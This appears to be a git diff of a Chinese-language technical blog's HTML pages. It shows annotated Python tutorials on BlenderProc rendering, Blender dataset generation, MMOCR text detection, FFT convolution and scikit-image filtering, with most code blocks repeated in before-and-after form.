# read the camera positions file and convert into homogeneous camera-world transformation withopen(args.camera, "r") as f: for line in f.readlines(): # 使用一个 for 循环来逐行读取相机位置文件中的信息，并将每个位置信息转换为齐次变换矩阵，并通过调用 bproc.camera.add_camera_pose() 函数将其添加到 BlenderProc 中。 line = [float(x) for x in line.split()] position, euler_rotation = line[:3], line[3:6] matrix_world = bproc.math.build_transformation_mat(position, euler_rotation) bproc.camera.add_camera_pose(matrix_world)
+
1 2 3 4 5 6 7 8 9 10 11 12
# define the camera resolution # 首先，调用 bproc.camera.set_resolution() 函数来定义相机的分辨率，该函数接受两个参数，即相机图像的宽度和高度。在这个示例中，我们将相机分辨率设置为 512x512。 bproc.camera.set_resolution(512, 512)
# read the camera positions file and convert into homogeneous camera-world transformation withopen(args.camera, "r") as f: for line in f.readlines(): # 使用一个 for 循环来逐行读取相机位置文件中的信息，并将每个位置信息转换为齐次变换矩阵，并通过调用 bproc.camera.add_camera_pose() 函数将其添加到 BlenderProc 中。 line = [float(x) for x in line.split()] position, euler_rotation = line[:3], line[3:6] matrix_world = bproc.math.build_transformation_mat(position, euler_rotation) bproc.camera.add_camera_pose(matrix_world)
渲染图像：
-
# activate normal and depth rendering bproc.renderer.enable_normals_output() bproc.renderer.enable_depth_output(activate_antialiasing=False) # bproc.renderer.set_noise_threshold(0.01) # this is the default value
# render the whole pipeline data = bproc.renderer.render()
+
1 2 3 4 5 6 7
# activate normal and depth rendering bproc.renderer.enable_normals_output() bproc.renderer.enable_depth_output(activate_antialiasing=False) # bproc.renderer.set_noise_threshold(0.01) # this is the default value
# render the whole pipeline data = bproc.renderer.render()
# Find point of interest, all cam poses should look towards it # 通过调用 bproc.object.compute_poi(objs) 函数，计算出一组物体的几何中心点 poi，作为相机观察的焦点。 poi = bproc.object.compute_poi(objs) # Sample five camera poses # 采样了五个随机的相机位置，渲染出 5 张图 for i inrange(5): # Sample random camera location above objects # 通过调用 np.random.uniform([-10, -10, 8], [10, 10, 12]) 函数，从一个三维坐标区间中随机取得一个相机位置，其中相机位置的 x、y 坐标范围为 [-10, 10]，z 坐标范围为 [8, 12]。 location = np.random.uniform([-10, -10, 8], [10, 10, 12]) # Compute rotation based on vector going from location towards poi # 对于每一个相机位置，进一步计算其旋转矩阵 rotation_matrix，以便将相机的视线朝向 poi 的方向。 # 具体而言，调用 bproc.camera.rotation_from_forward_vec(poi - location, inplane_rot=np.random.uniform(-0.7854, 0.7854)) 函数，以相机位置和 poi 之间的向量作为前向向量，并通过 inplane_rot 参数加入少量的水平旋转随机性（其值在 [-0.7854, 0.7854] 范围内）来计算出旋转矩阵 rotation_matrix。 rotation_matrix = bproc.camera.rotation_from_forward_vec(poi - location, inplane_rot=np.random.uniform(-0.7854, 0.7854)) # Add homog cam pose based on location an rotation # 将相机位置和旋转信息组合为齐次相机-世界变换矩阵 cam2world_matrix = bproc.math.build_transformation_mat(location, rotation_matrix) # 将其添加到 BlenderProc 中，以便后续渲染时使用。这样，就实现了对场景从不同视角的渲染。 bproc.camera.add_camera_pose(cam2world_matrix)
+
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
# Find point of interest, all cam poses should look towards it # 通过调用 bproc.object.compute_poi(objs) 函数，计算出一组物体的几何中心点 poi，作为相机观察的焦点。 poi = bproc.object.compute_poi(objs) # Sample five camera poses # 采样了五个随机的相机位置，渲染出 5 张图 for i inrange(5): # Sample random camera location above objects # 通过调用 np.random.uniform([-10, -10, 8], [10, 10, 12]) 函数，从一个三维坐标区间中随机取得一个相机位置，其中相机位置的 x、y 坐标范围为 [-10, 10]，z 坐标范围为 [8, 12]。 location = np.random.uniform([-10, -10, 8], [10, 10, 12]) # Compute rotation based on vector going from location towards poi # 对于每一个相机位置，进一步计算其旋转矩阵 rotation_matrix，以便将相机的视线朝向 poi 的方向。 # 具体而言，调用 bproc.camera.rotation_from_forward_vec(poi - location, inplane_rot=np.random.uniform(-0.7854, 0.7854)) 函数，以相机位置和 poi 之间的向量作为前向向量，并通过 inplane_rot 参数加入少量的水平旋转随机性（其值在 [-0.7854, 0.7854] 范围内）来计算出旋转矩阵 rotation_matrix。 rotation_matrix = bproc.camera.rotation_from_forward_vec(poi - location, inplane_rot=np.random.uniform(-0.7854, 0.7854)) # Add homog cam pose based on location an rotation # 将相机位置和旋转信息组合为齐次相机-世界变换矩阵 cam2world_matrix = bproc.math.build_transformation_mat(location, rotation_matrix) # 将其添加到 BlenderProc 中，以便后续渲染时使用。这样，就实现了对场景从不同视角的渲染。 bproc.camera.add_camera_pose(cam2world_matrix)
Light sampling
Usage
-
blenderproc run examples/basics/light_sampling/main.py examples/resources/camera_positions examples/resources/scene.obj examples/basics/light_sampling/output
+
1
blenderproc run examples/basics/light_sampling/main.py examples/resources/camera_positions examples/resources/scene.obj examples/basics/light_sampling/output
Visualization
-
blenderproc vis hdf5 examples/basics/light_sampling/output/0.hdf5
+
1
blenderproc vis hdf5 examples/basics/light_sampling/output/0.hdf5
Code
-
# Define a light light = bproc.types.Light() light.set_type("POINT") # Sample its location in a shell around the point [1, 2, 3] light.set_location(bproc.sampler.shell( center=[1, 2, 3], radius_min=4, radius_max=7, elevation_min=15, elevation_max=70 )) light.set_energy(500)
+
1 2 3 4 5 6 7 8 9 10 11 12
# Define a light light = bproc.types.Light() light.set_type("POINT") # Sample its location in a shell around the point [1, 2, 3] light.set_location(bproc.sampler.shell( center=[1, 2, 3], radius_min=4, radius_max=7, elevation_min=15, elevation_max=70 )) light.set_energy(500)
这段代码的含义是：
首先，创建了一个名为 light 的 BlenderProc Light 类型变量。
@@ -508,7 +506,7 @@
Code
最后，通过调用 light.set_energy(500) 函数，将光源的强度 energy 设置为 500 瓦特，以控制光照亮度。
-
# render the whole pipeline data = bproc.renderer.render()
# Collect states of all objects object_states = [] for obj in objs: object_states.append({ "name": obj.get_name(), "local2world": obj.get_local2world_mat() }) # Add states (they are the same for all frames here) data["object_states"] = [object_states] * bproc.utility.num_frames()
# Collect state of the one light light_state = { "name": light.get_name(), "local2world": light.get_local2world_mat(), "energy": light.get_energy() } # Add states (its the same for all frames here) data["light_states"] = [light_state] * bproc.utility.num_frames()
# Collect state of the camera at all frames cam_states = [] for frame inrange(bproc.utility.num_frames()): cam_states.append({ "cam2world": bproc.camera.get_camera_pose(frame), "cam_K": bproc.camera.get_intrinsics_as_K_matrix() }) # Adds states to the data dict data["cam_states"] = cam_states
# render the whole pipeline data = bproc.renderer.render()
# Collect states of all objects object_states = [] for obj in objs: object_states.append({ "name": obj.get_name(), "local2world": obj.get_local2world_mat() }) # Add states (they are the same for all frames here) data["object_states"] = [object_states] * bproc.utility.num_frames()
# Collect state of the one light light_state = { "name": light.get_name(), "local2world": light.get_local2world_mat(), "energy": light.get_energy() } # Add states (its the same for all frames here) data["light_states"] = [light_state] * bproc.utility.num_frames()
# Collect state of the camera at all frames cam_states = [] for frame inrange(bproc.utility.num_frames()): cam_states.append({ "cam2world": bproc.camera.get_camera_pose(frame), "cam_K": bproc.camera.get_intrinsics_as_K_matrix() }) # Adds states to the data dict data["cam_states"] = cam_states
这段代码的含义是：
首先，通过调用 bproc.renderer.render() 函数，对当前的场景进行渲染，并将渲染结果存储在 data 变量中。
@@ -519,12 +517,12 @@
Code
Object selection and manipulation
Usage
-
blenderproc run examples/basics/entity_manipulation/main.py examples/resources/scene.obj examples/basics/entity_manipulation/output
+
1
blenderproc run examples/basics/entity_manipulation/main.py examples/resources/scene.obj examples/basics/entity_manipulation/output
Visualization
-
blenderproc vis hdf5 examples/basics/entity_manipulation/output/0.hdf5
+
1
blenderproc vis hdf5 examples/basics/entity_manipulation/output/0.hdf5
Code
-
# load the objects into the scene objs = bproc.loader.load_obj(args.scene)
# Find object with name Suzanne suzanne = bproc.filter.one_by_attr(objs, "name", "Suzanne") # Set its location and rotation suzanne.set_location(np.random.uniform([0, 1, 2], [1, 2, 3])) suzanne.set_rotation_euler([1, 1, 0])
+
1 2 3 4 5 6 7 8
# load the objects into the scene objs = bproc.loader.load_obj(args.scene)
# Find object with name Suzanne suzanne = bproc.filter.one_by_attr(objs, "name", "Suzanne") # Set its location and rotation suzanne.set_location(np.random.uniform([0, 1, 2], [1, 2, 3])) suzanne.set_rotation_euler([1, 1, 0])
blenderproc run examples/basics/material_manipulation/main.py examples/basics/material_manipulation/scene.obj images examples/basics/material_manipulation/output
+
1
blenderproc run examples/basics/material_manipulation/main.py examples/basics/material_manipulation/scene.obj images examples/basics/material_manipulation/output
examples/basics/material_manipulation/main.py: path to the python file.
examples/basics/material_manipulation/scene.obj: path to the object file with the basic scene.
@@ -541,9 +539,9 @@
Usage
examples/basics/material_manipulation/output: path to the output directory.
Visualization
-
blenderproc vis hdf5 examples/basics/material_manipulation/output/0.hdf5
+
1
blenderproc vis hdf5 examples/basics/material_manipulation/output/0.hdf5
-
# Find all materials materials = bproc.material.collect_all()
# Find the material of the ground object ground_material = bproc.filter.one_by_attr(materials, "name", "Material.001") # Set its displacement based on its base color texture ground_material.set_displacement_from_principled_shader_value("Base Color", multiply_factor=1.5)
+
1 2 3 4 5 6 7
# Find all materials materials = bproc.material.collect_all()
# Find the material of the ground object ground_material = bproc.filter.one_by_attr(materials, "name", "Material.001") # Set its displacement based on its base color texture ground_material.set_displacement_from_principled_shader_value("Base Color", multiply_factor=1.5)
这段代码的作用是：
@@ -553,7 +551,7 @@
Visualization
这段代码的目的是修改指定材质的属性，实现更具创意的渲染效果。
-
# Collect all jpg images in the specified directory images = list(Path(args.image_dir).absolute().rglob("material_manipulation_sample_texture*.jpg")) for mat in materials: # Load one random image image = bpy.data.images.load(filepath=str(random.choice(images))) # Set it as base color of the current material mat.set_principled_shader_value("Base Color", image)
+
1 2 3 4 5 6 7
# Collect all jpg images in the specified directory images = list(Path(args.image_dir).absolute().rglob("material_manipulation_sample_texture*.jpg")) for mat in materials: # Load one random image image = bpy.data.images.load(filepath=str(random.choice(images))) # Set it as base color of the current material mat.set_principled_shader_value("Base Color", image)
这段代码的作用是：
@@ -567,7 +565,7 @@
Visualization
Physics positioning
Usage
-
blenderproc run examples/basics/physics_positioning/main.py examples/basics/physics_positioning/active.obj examples/basics/physics_positioning/passive.obj examples/basics/physics_positioning/output
+
1
blenderproc run examples/basics/physics_positioning/main.py examples/basics/physics_positioning/active.obj examples/basics/physics_positioning/passive.obj examples/basics/physics_positioning/output
examples/basics/physics_positioning/main.py: path to the python file.
examples/basics/physics_positioning/active.obj: path to the object file with active objects, i. e. objects which we want to participate in physics simulation.
@@ -575,10 +573,10 @@
Usage
examples/basics/physics_positioning/output: path to the output directory.
Visualization
-
blenderproc vis hdf5 examples/basics/physics_positioning/output/0.hdf5
+
1
blenderproc vis hdf5 examples/basics/physics_positioning/output/0.hdf5
Code
-
# Define a function that samples the pose of a given sphere defsample_pose(obj: bproc.types.MeshObject): obj.set_location(np.random.uniform([-5, -5, 8], [5, 5, 12])) obj.set_rotation_euler(bproc.sampler.uniformSO3())
# Sample the poses of all spheres above the ground without any collisions in-between bproc.object.sample_poses( spheres, sample_pose_func=sample_pose )
+
1 2 3 4 5 6 7 8 9 10
# Define a function that samples the pose of a given sphere defsample_pose(obj: bproc.types.MeshObject): obj.set_location(np.random.uniform([-5, -5, 8], [5, 5, 12])) obj.set_rotation_euler(bproc.sampler.uniformSO3())
# Sample the poses of all spheres above the ground without any collisions in-between bproc.object.sample_poses( spheres, sample_pose_func=sample_pose )
# Make all spheres actively participate in the simulation # 通过循环遍历所有的球体对象 spheres，调用 obj.enable_rigidbody(active=True) 函数使其能够参与物理仿真。其中 active=True 代表该球体是主动物体，需要施加力和碰撞等物理效应。 for obj in spheres: obj.enable_rigidbody(active=True) # The ground should only act as an obstacle and is therefore marked passive. # To let the spheres fall into the valleys of the ground, make the collision shape MESH instead of CONVEX_HULL. # 将地面对象 ground 的 enable_rigidbody 函数的 active 设置为 False，表示它是被动物体，只参与碰撞等物理效应，并调整地面的碰撞形状为 MESH，以便让球体可以掉落到地面的洼地中。 ground.enable_rigidbody(active=False, collision_shape="MESH")
# Run the simulation and fix the poses of the spheres at the end # 调用 bproc.object.simulate_physics_and_fix_final_poses(min_simulation_time=4, max_simulation_time=20, check_object_interval=1) 函数来运行物理仿真并在结束时固定球体的位置。具体而言，min_simulation_time 和 max_simulation_time 分别指示物理仿真的最小和最大时间（秒），check_object_interval 则指示固定物体位置时检查位置的时间间隔（秒）。在本例中，物理仿真时间介于 4s 和 20s 之间，每秒钟检查一次物体位置并固定。（注意：如果没有启用物理，该函数将不起作用。） bproc.object.simulate_physics_and_fix_final_poses(min_simulation_time=4, max_simulation_time=20, check_object_interval=1)
+
1 2 3 4 5 6 7 8 9 10 11 12
# Make all spheres actively participate in the simulation # 通过循环遍历所有的球体对象 spheres，调用 obj.enable_rigidbody(active=True) 函数使其能够参与物理仿真。其中 active=True 代表该球体是主动物体，需要施加力和碰撞等物理效应。 for obj in spheres: obj.enable_rigidbody(active=True) # The ground should only act as an obstacle and is therefore marked passive. # To let the spheres fall into the valleys of the ground, make the collision shape MESH instead of CONVEX_HULL. # 将地面对象 ground 的 enable_rigidbody 函数的 active 设置为 False，表示它是被动物体，只参与碰撞等物理效应，并调整地面的碰撞形状为 MESH，以便让球体可以掉落到地面的洼地中。 ground.enable_rigidbody(active=False, collision_shape="MESH")
# Run the simulation and fix the poses of the spheres at the end # 调用 bproc.object.simulate_physics_and_fix_final_poses(min_simulation_time=4, max_simulation_time=20, check_object_interval=1) 函数来运行物理仿真并在结束时固定球体的位置。具体而言，min_simulation_time 和 max_simulation_time 分别指示物理仿真的最小和最大时间（秒），check_object_interval 则指示固定物体位置时检查位置的时间间隔（秒）。在本例中，物理仿真时间介于 4s 和 20s 之间，每秒钟检查一次物体位置并固定。（注意：如果没有启用物理，该函数将不起作用。） bproc.object.simulate_physics_and_fix_final_poses(min_simulation_time=4, max_simulation_time=20, check_object_interval=1)
# Use vertex color for texturing for mat in obj.get_materials(): mat.map_vertex_color() # Set pose of object via local-to-world transformation matrix obj.set_local2world_mat( [[0.331458, -0.9415833, 0.05963787, -0.04474526765165741], [-0.6064861, -0.2610635, -0.7510136, 0.08970402424862098], [0.7227108, 0.2127592, -0.6575879, 0.6823395750305427], [0, 0, 0, 1.0]] ) # Scale 3D model from mm to m obj.set_scale([0.001, 0.001, 0.001]) # Set category id which will be used in the BopWriter obj.set_cp("category_id", 1)
+
1 2 3 4 5 6 7 8 9 10 11 12 13 14
# Use vertex color for texturing for mat in obj.get_materials(): mat.map_vertex_color() # Set pose of object via local-to-world transformation matrix obj.set_local2world_mat( [[0.331458, -0.9415833, 0.05963787, -0.04474526765165741], [-0.6064861, -0.2610635, -0.7510136, 0.08970402424862098], [0.7227108, 0.2127592, -0.6575879, 0.6823395750305427], [0, 0, 0, 1.0]] ) # Scale 3D model from mm to m obj.set_scale([0.001, 0.001, 0.001]) # Set category id which will be used in the BopWriter obj.set_cp("category_id", 1)
# render the whole pipeline data = bproc.renderer.render()
# Write object poses, color and depth in bop format bproc.writer.write_bop(args.output_dir, [obj], data["depth"], data["colors"], m2mm=True, append_to_existing_output=True)
+
1 2 3 4 5
# render the whole pipeline data = bproc.renderer.render()
# Write object poses, color and depth in bop format bproc.writer.write_bop(args.output_dir, [obj], data["depth"], data["colors"], m2mm=True, append_to_existing_output=True)
defmain(): clearAll() loadWorlds() loadObjs() loadCamera() scene = bpy.context.scene # 获取当前场景 scene.camera = scene.objects['Camera'] # 将场景中的相机设置为所加载的相机 scene.render.resolution_x = img_w # 设置输出图像的宽度 scene.render.resolution_y = img_h # 设置输出图像的高度 K = calibCamera() # 计算相机内部参数，即相机的内参矩阵 changeTheWorld() # 改变场景环境（比如更改场景光照等），使得每张图片看起来不完全一样 for i inrange(picsNum): # 循环输出多张图片 if i % freq_CTW == 0: changeTheWorld() changeObjs() # 改变场景中的物体位置和姿态，使得每张图片中物体的位置和姿态发生变换 bougeLe() # 让场景中的物体随机移动一定距离（模拟物体在真实场景中的运动） snapIt(scene, i) # 对场景进行拍照，生成一张渲染后的图像 labelIt(i) # <- TODO calId = f'{kittiCalibsPath}{i}.txt'# 写入参数 withopen(calId,'w',encoding='utf-8') as fc: for p in K: fc.writelines(p) #clearAll() if __name__ == '__main__': main()
clearAll()
删除场景中的所有对象：
-
defclearAll(): for obj in bpy.data.objects: bpy.data.objects.remove(obj) for img in bpy.data.images: bpy.data.images.remove(img) for ma in bpy.data.materials: bpy.data.materials.remove(ma) for me in bpy.data.meshes: bpy.data.meshes.remove(me) for ng in bpy.data.node_groups: bpy.data.node_groups.remove(ng) for cd in bpy.data.cameras: bpy.data.cameras.remove(cd)
+
1 2 3 4 5 6 7 8 9 10 11 12 13
defclearAll(): for obj in bpy.data.objects: bpy.data.objects.remove(obj) for img in bpy.data.images: bpy.data.images.remove(img) for ma in bpy.data.materials: bpy.data.materials.remove(ma) for me in bpy.data.meshes: bpy.data.meshes.remove(me) for ng in bpy.data.node_groups: bpy.data.node_groups.remove(ng) for cd in bpy.data.cameras: bpy.data.cameras.remove(cd)
loadWorlds()
world 是一系列 *.hdr 文件并存放在 worldPath 中，加载它们：
-
defloadWorlds(): world = bpy.context.scene.world world.use_nodes = True enode = bpy.context.scene.world.node_tree.nodes.new('ShaderNodeTexEnvironment') worldFiles = os.listdir(worldPath) for file in worldFiles: bpy.data.images.load(worldPath + file)
+
1 2 3 4 5 6 7
defloadWorlds(): world = bpy.context.scene.world world.use_nodes = True enode = bpy.context.scene.world.node_tree.nodes.new('ShaderNodeTexEnvironment') worldFiles = os.listdir(worldPath) for file in worldFiles: bpy.data.images.load(worldPath + file)
loadObjs()
objs 是一系列 *.blend 文件并存放在 objsPath 中，加载它们：
-
defloadObjs(): objsList = os.listdir(objsPath) for objName in objsList: file_path = os.path.join(objsPath, objName) objN = objName.split('.')[0] # 获取物体名称（去除后缀） objNameList.append(objN) # 将物体名称添加到物体名称列表中 # 加载 .obj 文件并将其中包含的物体（对象）添加到当前场景中 with bpy.data.libraries.load(file_path,link=False) as (data_from, data_to): # 只将以当前物体名称开头的对象添加到当前场景中，避免将不需要的对象添加到场景中 data_to.objects = [name for name in data_from.objects if name.startswith(objN)] # 该部分是注释掉的代码，原本是想将已经加载的物体名称保存到 YAML 文件中，但是最终没有实现。 #with open(cocoYaml,'w',encoding='utf-8') as fc: #yaml.dump(objNameList,fc)
+
1 2 3 4 5 6 7 8 9 10 11 12 13
defloadObjs(): objsList = os.listdir(objsPath) for objName in objsList: file_path = os.path.join(objsPath, objName) objN = objName.split('.')[0] # 获取物体名称（去除后缀） objNameList.append(objN) # 将物体名称添加到物体名称列表中 # 加载 .obj 文件并将其中包含的物体（对象）添加到当前场景中 with bpy.data.libraries.load(file_path,link=False) as (data_from, data_to): # 只将以当前物体名称开头的对象添加到当前场景中，避免将不需要的对象添加到场景中 data_to.objects = [name for name in data_from.objects if name.startswith(objN)] # 该部分是注释掉的代码，原本是想将已经加载的物体名称保存到 YAML 文件中，但是最终没有实现。 #with open(cocoYaml,'w',encoding='utf-8') as fc: #yaml.dump(objNameList,fc)
# 将图像文件转换为 PDF defimages_to_pdf(image_paths, output_pdf_path): pdf = FPDF() image_paths.sort(key=lambda x: int(re.search(r'(\d+)\.jpeg', x).group(1))) # 遍历所有图像文件 for image_path in image_paths: # 添加新的一页 pdf.add_page() # 插入图片，设置为 A4 尺寸的图像（宽度 210mm，高度 297mm） pdf.image(image_path, x=0, y=0, w=210, h=297)
# 输出 PDF 文件 pdf.output(output_pdf_path)
for folder in tqdm(os.listdir(load_path)): image_folder = os.path.join(load_path, folder) image_paths = [os.path.join(image_folder, f) for f in os.listdir(image_folder)]
# 将图像文件转换为 PDF defimages_to_pdf(image_paths, output_pdf_path): pdf = FPDF() image_paths.sort(key=lambda x: int(re.search(r'(\d+)\.jpeg', x).group(1))) # 遍历所有图像文件 for image_path in image_paths: # 添加新的一页 pdf.add_page() # 插入图片，设置为 A4 尺寸的图像（宽度 210mm，高度 297mm） pdf.image(image_path, x=0, y=0, w=210, h=297)
# 输出 PDF 文件 pdf.output(output_pdf_path)
for folder in tqdm(os.listdir(load_path)): image_folder = os.path.join(load_path, folder) image_paths = [os.path.join(image_folder, f) for f in os.listdir(image_folder)]
安装 MMOCR：[Paper-MMOCR-A Comprehensive Toolbox for Text Detection, Recognition and Understanding | Zi-Zi’s Journey](/2024/05/30/Paper-MMOCR-A Comprehensive Toolbox for Text Detection, Recognition and Understanding/)
Loads checkpoint by local backend from path: ./models/dbnet_resnet18_fpnc_1200e_totaltext-3ed3233c.pth
预测结果虽然是长方形，但是似乎是检测到了弯曲文本，长方形是经过处理后得到的：
像如下模型：
-
infer = MMOCRInferencer(det='dbnet')
-
Loads checkpoint by http backend from path: https://download.openmmlab.com/mmocr/textdet/dbnet/dbnet_resnet50-oclip_1200e_icdar2015/dbnet_resnet50-oclip_1200e_icdar2015_20221102_115917-bde8c87a.pth
+
1
infer = MMOCRInferencer(det='dbnet')
+
1
Loads checkpoint by http backend from path: https://download.openmmlab.com/mmocr/textdet/dbnet/dbnet_resnet50-oclip_1200e_icdar2015/dbnet_resnet50-oclip_1200e_icdar2015_20221102_115917-bde8c87a.pth
对于弯曲文本，则检测失败：
B3 预训练模型预测-端到端 OCR
相当于对一张图片先进行场景文本检测，再进行场景文本识别。
导入工具包：
-
from mmocr.apis import MMOCRInferencer
import cv2 import numpy as np
import matplotlib.pyplot as plt %matplotlib inline
+
1 2 3 4 5 6 7
from mmocr.apis import MMOCRInferencer
import cv2 import numpy as np
import matplotlib.pyplot as plt %matplotlib inline
defplot(array): print(array) plt.matshow(array, cmap='Wistia') plt.colorbar() for x inrange(len(array)): for y inrange(len(array)): plt.annotate(round(array[x, y], 3),xy=(x,y),horizontalalignment='center', verticalalignment='center') return plt
+
1 2 3 4 5 6 7 8 9
defplot(array): print(array) plt.matshow(array, cmap='Wistia') plt.colorbar() for x inrange(len(array)): for y inrange(len(array)): plt.annotate(round(array[x, y], 3),xy=(x,y),horizontalalignment='center', verticalalignment='center') return plt
1.66s ± 341ms per loop (mean ± std. dev. of 7 runs, 1 loop each)
-
import scipy.signal
-
%%timeit scipy.signal.fftconvolve(arr1, arr2)
+
1
import scipy.signal
+
1 2
%%timeit scipy.signal.fftconvolve(arr1, arr2)
10.8ms ± 1.24ms per loop (mean ± std. dev. of 7 runs, 100 loops each)
定义法
-
defconv(a, b): N = len(a) M = len(b) YN = N + M - 1 y = [0.0for i inrange(YN)] for n inrange(YN): for m inrange(M): if0 <= n - m and n - m < N: y[n] += a[n - m] * b[m] return y
-
conv((1, 2, 3), (4, 5, 6))
+
1 2 3 4 5 6 7 8 9 10
defconv(a, b): N = len(a) M = len(b) YN = N + M - 1 y = [0.0for i inrange(YN)] for n inrange(YN): for m inrange(M): if0 <= n - m and n - m < N: y[n] += a[n - m] * b[m] return y
+
1
conv((1, 2, 3), (4, 5, 6))
[4.0, 13.0, 28.0, 27.0, 18.0]
使用 numpy 库
-
import numpy as np
np.convolve((1, 2, 3), (4, 5, 6))
+
1 2 3
import numpy as np
np.convolve((1, 2, 3), (4, 5, 6))
array([ 4, 13, 28, 27, 18])
FFT 快速卷积
-
defconvfft(a, b): N = len(a) M = len(b) YN = N + M - 1 FFT_N = 2 ** (int(np.log2(YN)) + 1) afft = np.fft.fft(a, FFT_N) bfft = np.fft.fft(b, FFT_N) abfft = afft * bfft y = np.fft.ifft(abfft).real[:YN] return y
-
convfft((1, 2, 3), (4, 5, 6))
+
1 2 3 4 5 6 7 8 9 10
defconvfft(a, b): N = len(a) M = len(b) YN = N + M - 1 FFT_N = 2 ** (int(np.log2(YN)) + 1) afft = np.fft.fft(a, FFT_N) bfft = np.fft.fft(b, FFT_N) abfft = afft * bfft y = np.fft.ifft(abfft).real[:YN] return y
+
1
convfft((1, 2, 3), (4, 5, 6))
array([ 4., 13., 28., 27., 18.])
对比
-
import time import matplotlib.pyplot as plt
defrun(func, a, b): n = 1 start = time.perf_counter() for j inrange(n): func(a, b) end = time.perf_counter() run_time = end - start return run_time / n
n_list = [] t1_list = [] t2_list = [] for i inrange(10): count = i * 1000 + 10 print(count) a = np.ones(count) b = np.ones(count) t1 = run(conv, a, b) # 直接卷积 t2 = run(convfft, a, b) # FFT 卷积 n_list.append(count) t1_list.append(t1) t2_list.append(t2)
defrun(func, a, b): n = 1 start = time.perf_counter() for j inrange(n): func(a, b) end = time.perf_counter() run_time = end - start return run_time / n
n_list = [] t1_list = [] t2_list = [] for i inrange(10): count = i * 1000 + 10 print(count) a = np.ones(count) b = np.ones(count) t1 = run(conv, a, b) # 直接卷积 t2 = run(convfft, a, b) # FFT 卷积 n_list.append(count) t1_list.append(t1) t2_list.append(t2)
# Use the function cv2.imshow() to display an image in a window. # First argument is the window name which is a string. second argument is our image.
cv2.imshow("pic from skimage import", img) # Shows weird colors as R and B channels are swapped cv2.imshow("color pic from opencv", color_img) cv2.imshow("gray pic from opencv", gray_img)
# Maintain output window until # user presses a key or 1000ms (1s) cv2.waitKey(0)
# destroys all windows created cv2.destroyAllWindows()
# Use the function cv2.imshow() to display an image in a window. # First argument is the window name which is a string. second argument is our image.
cv2.imshow("pic from skimage import", img) # Shows weird colors as R and B channels are swapped cv2.imshow("color pic from opencv", color_img) cv2.imshow("gray pic from opencv", gray_img)
# Maintain output window until # user presses a key or 1000ms (1s) cv2.waitKey(0)
# destroys all windows created cv2.destroyAllWindows()
Tutorial 26 - Basic plotting in python using matplot.pyplot
print(os.walk('.')) # Nothing to see here as this is just a generator
for root, dirs, files in os.walk('.'): # root 表示当前正在访问的文件夹路径 # dirs 表示该文件夹下的子目录名 list # files 表示该文件夹下的文件 list # 遍历文件 for f in files: print(os.path.join(root, f))
+
1 2 3 4 5 6 7 8 9 10 11
import os
print(os.walk('.')) # Nothing to see here as this is just a generator
for root, dirs, files in os.walk('.'): # root 表示当前正在访问的文件夹路径 # dirs 表示该文件夹下的子目录名 list # files 表示该文件夹下的文件 list # 遍历文件 for f in files: print(os.path.join(root, f))
<generator object walk at 0x000001AAF06408C8>
.\4.ipynb
.\Untitled.ipynb
@@ -740,7 +738,7 @@
使用 os.walk 遍历文件夹
-
import os
print(os.walk('.')) # Nothing to see here as this is just a generator
for root, dirs, files in os.walk('.'): # root 表示当前正在访问的文件夹路径 # dirs 表示该文件夹下的子目录名 list # files 表示该文件夹下的文件 list # 遍历所有的文件夹 for d in dirs: print(os.path.join(root, d))
+
1 2 3 4 5 6 7 8 9 10 11
import os
print(os.walk('.')) # Nothing to see here as this is just a generator
for root, dirs, files in os.walk('.'): # root 表示当前正在访问的文件夹路径 # dirs 表示该文件夹下的子目录名 list # files 表示该文件夹下的文件 list # 遍历所有的文件夹 for d in dirs: print(os.path.join(root, d))
<generator object walk at 0x000001AAF06406C8>
.\.ipynb_checkpoints
.\images
@@ -4778,6 +4776,8 @@
目录
var highlightShrink = "";
var HighlightHeightLimit = "";
+
+
diff --git a/posts/DIP-Introductory python tutorials for image processing(29-41)-Image Filtering/index.html b/posts/DIP-Introductory python tutorials for image processing(29-41)-Image Filtering/index.html
index c13208d220..75941dde2d 100644
--- a/posts/DIP-Introductory python tutorials for image processing(29-41)-Image Filtering/index.html
+++ b/posts/DIP-Introductory python tutorials for image processing(29-41)-Image Filtering/index.html
@@ -44,8 +44,6 @@
-
-
@@ -410,26 +408,26 @@
缩放
Resize 也有同样的作用，但允许指定输出图像的形状而不是缩放因子。
Downscale 的目的是通过整数因子对 n 维图像进行下采样，使用作为函数参数的大小因子的每个块的元素的局部均值。
-
from matplotlib import pyplot as plt from skimage import io, color from skimage.transform import rescale, resize, downscale_local_mean
from skimage import io from skimage.filters import gaussian, sobel img = io.imread("images/Osteosarcoma_01_25Sigma_noise.tif") plt.imshow(img) gaussian_using_skimage = gaussian(img, sigma=1, mode='constant', cval=0.0) plt.imshow(gaussian_using_skimage)
+
1 2 3 4 5 6
from skimage import io from skimage.filters import gaussian, sobel img = io.imread("images/Osteosarcoma_01_25Sigma_noise.tif") plt.imshow(img) gaussian_using_skimage = gaussian(img, sigma=1, mode='constant', cval=0.0) plt.imshow(gaussian_using_skimage)
C:\Users\gzjzx\anaconda3\envs\wxpython37\lib\site-packages\skimage\_shared\utils.py:348: RuntimeWarning: Images with dimensions (M, N, 3) are interpreted as 2D+RGB by default. Use `multichannel=False` to interpret as 3D image with last dimension of length 3.
return func(*args, **kwargs)
@@ -437,7 +435,7 @@
gaussian
sobel 边缘检测
-
img_gray = io.imread("images/Osteosarcoma_01.tif", as_gray=True) sobel_img = sobel(img_gray) #Works only on 2D (gray) images plt.imshow(sobel_img, cmap='gray')
+
1 2 3
img_gray = io.imread("images/Osteosarcoma_01.tif", as_gray=True) sobel_img = sobel(img_gray) #Works only on 2D (gray) images plt.imshow(sobel_img, cmap='gray')
#Radius defines the degree of blurring #Amount defines the multiplication factor for original - blurred image unsharped_img = unsharp_mask(img, radius=3, amount=2)
#Radius defines the degree of blurring #Amount defines the multiplication factor for original - blurred image unsharped_img = unsharp_mask(img, radius=3, amount=2)
gaussian_using_skimage = gaussian(img, sigma=1, mode='constant', cval=0.0) #sigma defines the std dev of the gaussian kernel. SLightly different than #how we define in cv2
gaussian_using_skimage = gaussian(img, sigma=1, mode='constant', cval=0.0) #sigma defines the std dev of the gaussian kernel. SLightly different than #how we define in cv2
C:\Users\gzjzx\AppData\Local\Temp\ipykernel_11200\3289355486.py:7: FutureWarning: `multichannel` is a deprecated argument name for `estimate_sigma`. It will be removed in version 1.0. Please use `channel_axis` instead.
sigma_est = np.mean(estimate_sigma(img, multichannel=True))
